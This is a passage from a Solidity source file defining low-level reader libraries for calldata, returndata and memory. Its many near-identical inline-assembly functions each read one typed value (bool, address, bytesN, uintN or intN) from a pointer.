calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int24 at `cdPtr` in calldata.\n function readInt24(\n CalldataPointer cdPtr\n ) internal pure returns (int24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int32 at `cdPtr` in calldata.\n function readInt32(\n CalldataPointer cdPtr\n ) internal pure returns (int32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int40 at `cdPtr` in calldata.\n function readInt40(\n CalldataPointer cdPtr\n ) internal pure returns (int40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int48 at `cdPtr` in calldata.\n function readInt48(\n CalldataPointer cdPtr\n ) internal pure returns (int48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int56 at `cdPtr` in calldata.\n function readInt56(\n CalldataPointer cdPtr\n ) internal pure returns (int56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int64 at `cdPtr` in calldata.\n function readInt64(\n CalldataPointer cdPtr\n ) internal pure returns (int64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int72 at `cdPtr` in calldata.\n function readInt72(\n CalldataPointer cdPtr\n ) internal pure returns (int72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int80 at `cdPtr` in calldata.\n function readInt80(\n CalldataPointer cdPtr\n ) internal pure returns (int80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int88 at `cdPtr` in calldata.\n function readInt88(\n CalldataPointer cdPtr\n ) internal pure returns (int88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int96 at `cdPtr` in calldata.\n function readInt96(\n CalldataPointer cdPtr\n ) internal pure returns (int96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int104 at `cdPtr` in calldata.\n function readInt104(\n CalldataPointer cdPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int112 at `cdPtr` in calldata.\n function readInt112(\n CalldataPointer cdPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int120 at `cdPtr` in calldata.\n function readInt120(\n CalldataPointer cdPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int128 at `cdPtr` in calldata.\n function readInt128(\n CalldataPointer cdPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int136 at `cdPtr` in calldata.\n function readInt136(\n CalldataPointer cdPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int144 at `cdPtr` in calldata.\n function readInt144(\n CalldataPointer cdPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int152 at `cdPtr` in calldata.\n function readInt152(\n CalldataPointer cdPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int160 at `cdPtr` in calldata.\n function readInt160(\n CalldataPointer cdPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int168 at `cdPtr` in calldata.\n function readInt168(\n CalldataPointer cdPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int176 at `cdPtr` in calldata.\n function readInt176(\n CalldataPointer cdPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int184 at `cdPtr` in calldata.\n function readInt184(\n CalldataPointer cdPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int192 at `cdPtr` in calldata.\n function readInt192(\n CalldataPointer cdPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int200 at `cdPtr` in calldata.\n function readInt200(\n CalldataPointer cdPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int208 at `cdPtr` in calldata.\n function readInt208(\n CalldataPointer cdPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int216 at `cdPtr` in calldata.\n function readInt216(\n CalldataPointer cdPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int224 at `cdPtr` in calldata.\n function readInt224(\n CalldataPointer cdPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int232 at `cdPtr` in calldata.\n function readInt232(\n CalldataPointer cdPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int240 at `cdPtr` in calldata.\n function readInt240(\n CalldataPointer cdPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int248 at `cdPtr` in calldata.\n function readInt248(\n CalldataPointer cdPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int256 at `cdPtr` in calldata.\n function readInt256(\n CalldataPointer cdPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n}\n\nlibrary ReturndataReaders {\n /// @dev Reads value at `rdPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n value = rdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `rdPtr` in returndata.\n function readBool(\n ReturndataPointer rdPtr\n ) internal pure returns (bool value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the address at `rdPtr` in returndata.\n function readAddress(\n ReturndataPointer rdPtr\n ) internal pure returns (address value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes1 at `rdPtr` in returndata.\n function readBytes1(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes2 at `rdPtr` in returndata.\n function readBytes2(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes3 at `rdPtr` in returndata.\n function readBytes3(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes4 at `rdPtr` in returndata.\n function readBytes4(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes5 at `rdPtr` in returndata.\n function readBytes5(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes6 at `rdPtr` in returndata.\n function readBytes6(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes7 at `rdPtr` in returndata.\n function readBytes7(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes8 at `rdPtr` in returndata.\n function readBytes8(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes9 at `rdPtr` in returndata.\n function readBytes9(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes10 at `rdPtr` in returndata.\n function readBytes10(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes11 at `rdPtr` in returndata.\n function readBytes11(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes12 at `rdPtr` in returndata.\n function readBytes12(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes13 at `rdPtr` in returndata.\n function readBytes13(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes14 at `rdPtr` in returndata.\n function readBytes14(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes15 at `rdPtr` in returndata.\n function readBytes15(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes16 at `rdPtr` in returndata.\n function readBytes16(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes17 at `rdPtr` in returndata.\n function readBytes17(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes18 at `rdPtr` in returndata.\n function readBytes18(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes19 at `rdPtr` in returndata.\n function readBytes19(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes20 at `rdPtr` in returndata.\n function readBytes20(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes21 at `rdPtr` in returndata.\n function readBytes21(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes22 at `rdPtr` in returndata.\n function readBytes22(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes23 at `rdPtr` in returndata.\n function readBytes23(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes24 at `rdPtr` in returndata.\n function readBytes24(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes25 at `rdPtr` in returndata.\n function readBytes25(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes26 at `rdPtr` in returndata.\n function readBytes26(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes27 at `rdPtr` in returndata.\n function readBytes27(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes28 at `rdPtr` in returndata.\n function readBytes28(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes29 at `rdPtr` in returndata.\n function readBytes29(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes30 at `rdPtr` in returndata.\n function readBytes30(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes31 at `rdPtr` in returndata.\n function readBytes31(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes32 at `rdPtr` in returndata.\n function readBytes32(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint8 at `rdPtr` in returndata.\n function readUint8(\n ReturndataPointer rdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint16 at `rdPtr` in returndata.\n function readUint16(\n ReturndataPointer rdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint24 at `rdPtr` in returndata.\n function readUint24(\n ReturndataPointer rdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint32 at `rdPtr` in returndata.\n function readUint32(\n ReturndataPointer rdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint40 at `rdPtr` in returndata.\n function readUint40(\n ReturndataPointer rdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint48 at `rdPtr` in returndata.\n function readUint48(\n ReturndataPointer rdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint56 at `rdPtr` in returndata.\n function readUint56(\n ReturndataPointer rdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint64 at `rdPtr` in returndata.\n function readUint64(\n ReturndataPointer rdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint72 at `rdPtr` in returndata.\n function readUint72(\n ReturndataPointer rdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint80 at `rdPtr` in returndata.\n function readUint80(\n ReturndataPointer rdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint88 at `rdPtr` in returndata.\n function readUint88(\n ReturndataPointer rdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint96 at `rdPtr` in returndata.\n function readUint96(\n ReturndataPointer rdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint104 at `rdPtr` in returndata.\n function readUint104(\n ReturndataPointer rdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint112 at `rdPtr` in returndata.\n function readUint112(\n ReturndataPointer rdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint120 at `rdPtr` in returndata.\n function readUint120(\n ReturndataPointer rdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint128 at `rdPtr` in returndata.\n function readUint128(\n ReturndataPointer rdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint136 at `rdPtr` in returndata.\n function readUint136(\n ReturndataPointer rdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint144 at `rdPtr` in returndata.\n function readUint144(\n ReturndataPointer rdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint152 at `rdPtr` in returndata.\n function readUint152(\n ReturndataPointer rdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint160 at `rdPtr` in returndata.\n function readUint160(\n ReturndataPointer rdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint168 at `rdPtr` in returndata.\n function readUint168(\n ReturndataPointer rdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint176 at `rdPtr` in returndata.\n function readUint176(\n ReturndataPointer rdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint184 at `rdPtr` in returndata.\n function readUint184(\n ReturndataPointer rdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint192 at `rdPtr` in returndata.\n function readUint192(\n ReturndataPointer rdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint200 at `rdPtr` in returndata.\n function readUint200(\n ReturndataPointer rdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint208 at `rdPtr` in returndata.\n function readUint208(\n ReturndataPointer rdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint216 at `rdPtr` in returndata.\n function readUint216(\n ReturndataPointer rdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint224 at `rdPtr` in returndata.\n function readUint224(\n ReturndataPointer rdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint232 at `rdPtr` in returndata.\n function readUint232(\n ReturndataPointer rdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint240 at `rdPtr` in returndata.\n function readUint240(\n ReturndataPointer rdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint248 at `rdPtr` in returndata.\n function readUint248(\n ReturndataPointer rdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint256 at `rdPtr` in returndata.\n function readUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int8 at `rdPtr` in returndata.\n function readInt8(\n ReturndataPointer rdPtr\n ) internal pure returns (int8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int16 at `rdPtr` in returndata.\n function readInt16(\n ReturndataPointer rdPtr\n ) internal pure returns (int16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int24 at `rdPtr` in returndata.\n function readInt24(\n ReturndataPointer rdPtr\n ) internal pure returns (int24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int32 at `rdPtr` in returndata.\n function readInt32(\n ReturndataPointer rdPtr\n ) internal pure returns (int32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int40 at `rdPtr` in returndata.\n function readInt40(\n ReturndataPointer rdPtr\n ) internal pure returns (int40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int48 at `rdPtr` in returndata.\n function readInt48(\n ReturndataPointer rdPtr\n ) internal pure returns (int48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int56 at `rdPtr` in returndata.\n function readInt56(\n ReturndataPointer rdPtr\n ) internal pure returns (int56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int64 at `rdPtr` in returndata.\n function readInt64(\n ReturndataPointer rdPtr\n ) internal pure returns (int64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int72 at `rdPtr` in returndata.\n function readInt72(\n ReturndataPointer rdPtr\n ) internal pure returns (int72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int80 at `rdPtr` in returndata.\n function readInt80(\n ReturndataPointer rdPtr\n ) internal pure returns (int80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int88 at `rdPtr` in returndata.\n function readInt88(\n ReturndataPointer rdPtr\n ) internal pure returns (int88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int96 at `rdPtr` in returndata.\n function readInt96(\n ReturndataPointer rdPtr\n ) internal pure returns (int96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int104 at `rdPtr` in returndata.\n function readInt104(\n ReturndataPointer rdPtr\n ) internal pure returns (int104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int112 at `rdPtr` in returndata.\n function readInt112(\n ReturndataPointer rdPtr\n ) internal pure returns (int112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int120 at `rdPtr` in returndata.\n function readInt120(\n ReturndataPointer rdPtr\n ) internal pure returns (int120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int128 at `rdPtr` in returndata.\n function readInt128(\n ReturndataPointer rdPtr\n ) internal pure returns (int128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int136 at `rdPtr` in returndata.\n function readInt136(\n ReturndataPointer rdPtr\n ) internal pure returns (int136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int144 at `rdPtr` in returndata.\n function readInt144(\n ReturndataPointer rdPtr\n ) internal pure returns (int144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int152 at `rdPtr` in returndata.\n function readInt152(\n ReturndataPointer rdPtr\n ) internal pure returns (int152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int160 at `rdPtr` in returndata.\n function readInt160(\n ReturndataPointer rdPtr\n ) internal pure returns (int160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int168 at `rdPtr` in returndata.\n function readInt168(\n ReturndataPointer rdPtr\n ) internal pure returns (int168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int176 at `rdPtr` in returndata.\n function readInt176(\n ReturndataPointer rdPtr\n ) internal pure returns (int176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int184 at `rdPtr` in returndata.\n function readInt184(\n ReturndataPointer rdPtr\n ) internal pure returns (int184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int192 at `rdPtr` in returndata.\n function readInt192(\n ReturndataPointer rdPtr\n ) internal pure returns (int192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int200 at `rdPtr` in returndata.\n function readInt200(\n ReturndataPointer rdPtr\n ) internal pure returns (int200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int208 at `rdPtr` in returndata.\n function readInt208(\n ReturndataPointer rdPtr\n ) internal pure returns (int208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int216 at `rdPtr` in returndata.\n function readInt216(\n ReturndataPointer rdPtr\n ) internal pure returns (int216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int224 at `rdPtr` in returndata.\n function readInt224(\n ReturndataPointer rdPtr\n ) internal pure returns (int224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int232 at `rdPtr` in returndata.\n function readInt232(\n ReturndataPointer rdPtr\n ) internal pure returns (int232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int240 at `rdPtr` in returndata.\n function readInt240(\n ReturndataPointer rdPtr\n ) internal pure returns (int240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int248 at `rdPtr` in returndata.\n function readInt248(\n ReturndataPointer rdPtr\n ) internal pure returns (int248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int256 at `rdPtr` in returndata.\n function readInt256(\n ReturndataPointer rdPtr\n ) internal pure returns (int256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n}\n\nlibrary MemoryReaders {\n /// @dev Reads the memory pointer at `mPtr` in memory.\n function readMemoryPointer(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads value at `mPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n value = mPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `mPtr` in memory.\n function readBool(MemoryPointer mPtr) internal pure returns (bool value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the address at `mPtr` in memory.\n function readAddress(\n MemoryPointer mPtr\n ) internal pure returns (address value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `mPtr` in memory.\n function readBytes1(\n MemoryPointer mPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `mPtr` in memory.\n function readBytes2(\n MemoryPointer mPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `mPtr` in memory.\n function readBytes3(\n MemoryPointer mPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `mPtr` in memory.\n function 